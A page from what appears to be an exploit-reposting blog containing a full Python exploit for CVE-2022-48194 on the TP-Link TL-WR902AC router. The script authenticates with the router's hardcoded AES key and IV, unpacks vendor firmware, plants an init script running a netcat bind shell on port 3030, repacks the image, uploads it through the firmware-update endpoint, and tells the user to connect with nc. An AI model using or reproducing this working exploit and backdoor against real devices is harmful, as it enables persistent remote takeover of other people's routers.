Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375115

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# !/usr/bin/python3

# Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tobias Müller
# Date: 2022-12-01
# Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329
# Vendor Homepage: https://www.tp-link.com/
# Tested On: TP-Link TL-WR902AC
# Vulnerability Description: Remote Code Execution via importing malicious firmware file
# CVE: CVE-2022-48194
# Technical Details: https://github.com/otsmr/internet-of-vulnerable-things

TARGET_HOST = "192.168.0.1"
ADMIN_PASSWORD = "admin"
TP_LINK_FIRMWARE_DOWNLOAD = "https://static.tp-link.com/upload/firmware/2022/202208/20220803/TL-WR902AC(EU)_V3_220329.zip"


import requests
import os
import glob
import subprocess
import base64, os, hashlib
from Crypto.Cipher import AES, PKCS1_v1_5  # pip install pycryptodome
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad



for program in ["binwalk", "fakeroot", "unsquashfs", "mksquashfs"]:
    if "not found" in subprocess.check_output(["which", program]).decode():
        print(f"[!] need {program} to run")
        exit(1)


class WebClient(object):

    def __init__(self, host, password):

        self.host = "http://" + host
        self.password = password
        self.password_hash = hashlib.md5(('admin%s' % password.encode('utf-8')).encode('utf-8')).hexdigest()
        
        self.aes_key = "7765636728821987"
        self.aes_iv = "8775677306058909"

        self.session = requests.Session()

        crypto_data = self.cgi_basic("?8", "[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n").text

        self.sign_rsa_e = int(crypto_data.split("\n")[1].split('"')[1], 16)
        self.sign_rsa_n = int(crypto_data.split("\n")[2].split('"')[1], 16)
        self.seq        = int(crypto_data.split("\n")[3].split('"')[1])

        self.jsessionid = self.get_jsessionid()


    def get_jsessionid(self):
        post_data = f"8\r\n[/cgi/login#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nusername=admin\r\npassword={self.password}\r\n"
        self.get_encrypted_request_data(post_data, True)
        return self.session.cookies["JSESSIONID"]

    def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
        cipher = AES.new(aes_key.encode('utf-8'), AES.MODE_CBC, iv=aes_iv.encode('utf-8'))
        plaintext_padded = pad(plaintext, aes_block_size)
        return cipher.encrypt(plaintext_padded)

    def rsa_encrypt(self, n, e, plaintext):
        public_key = RSA.construct((n, e)).publickey()
        encryptor = PKCS1_v1_5.new(public_key)
        block_size = int(public_key.n.bit_length() / 8) - 11
        encrypted_text = ''
        for i in range(0, len(plaintext), block_size):
            encrypted_text += encryptor.encrypt(plaintext[i:i + block_size]).hex()
        return encrypted_text

    def get_encrypted_request_data(self, post_data, is_login: bool):

        encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, post_data.encode('utf-8'))
        encrypted_data = base64.b64encode(encrypted_data).decode()

        self.seq += len(encrypted_data)
        signature = f"h={self.password_hash}&s={self.seq}"
        if is_login:
            signature = f"key={self.aes_key}&iv={self.aes_iv}&" + signature

        encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature.encode('utf-8'))

        body = f"sign={encrypted_signature}\r\ndata={encrypted_data}\r\n"

        return self.cgi_basic("_gdpr", body)

    def cgi_basic(self, url: str, body: str):

        res = self.session.post(f"{self.host}/cgi{url}", data=body, headers={
            "Referer": "http://192.168.0.1/"
        })

        if res.status_code != 200:
            print(res.text)
            raise ValueError("router not reachable")

        return res


def cmd(command):
    print("[*] running " + command)
    os.system(command)

def build_backdoor():

    if os.path.isdir("./tp_tmp"):
        cmd("rm -r -f ./tp_tmp")

    os.mkdir("./tp_tmp")
    os.chdir('./tp_tmp')

    print("[*] downloading firmware")
    res = requests.get(TP_LINK_FIRMWARE_DOWNLOAD)
    with open("firmware.zip", "wb") as f:
        f.write(res.content)

    print("[*] downloading netcat")

    #res = requests.get(NETCAT_PRECOMPILED_FILE)
    #with open("netcat", "wb") as f:
    #    f.write(res.content)

    if os.path.isfile("netcat"):
        print("[!] netcat not found")
        exit()

    cmd('unzip firmware.zip')
    filename = glob.glob("TL-*.bin")[0]
    cmd(f"mv '{filename}' firmware.bin")
    cmd('binwalk --dd=".*" firmware.bin')
    cmd('fakeroot -s f.dat unsquashfs -d squashfs-root _firmware.bin.extracted/160200')

    with open("./squashfs-root/etc/init.d/back", "w") as f:
        f.write("""
#!/bin/sh
while true;
do
    netcat -l -p 3030 -e /bin/sh
    sleep 5
done
""")

    cmd("chmod +x ./squashfs-root/etc/init.d/back")

    with open("./squashfs-root/etc/init.d/rcS", "r+") as f:

        content = f.read()
        content = content.replace("cos &", "/etc/init.d/back &\ncos &")
        f.write(content)

    cmd("cp netcat ./squashfs-root/usr/bin/")
    cmd("chmod +x ./squashfs-root/usr/bin/netcat")

    cmd("fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144")

    size = subprocess.check_output(["file", "backdoor.squashfs"]).decode()
    offset = int(size.split(" ")[9]) + 1442304
    cmd("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304")
    cmd("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304")
    cmd(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}")

    os.chdir('../')

    cmd(f"mv ./tp_tmp/backdoor.bin .")
    cmd("rm -r -f ./tp_tmp")

def upload_backdoor():

    wc = WebClient(TARGET_HOST, ADMIN_PASSWORD)

    print("[*] uploading backdoor")

    files = {
        'filename': open('backdoor.bin','rb')
    }

    re_upload = requests.post("http://" + TARGET_HOST + "/cgi/softup", cookies={
        "JSESSIONID": wc.jsessionid
    }, headers={
        "Referer": "http://192.168.0.1/mainFrame.htm"
    }, files=files)

    if re_upload.status_code != 200 or "OK" not in re_upload.text:
        print("[!] error")
        exit(1)

    print("[*] success!")

    print("\nWait for router restart, then run:")
    print("nc 192.168.0.1 3030")


build_backdoor()
upload_backdoor()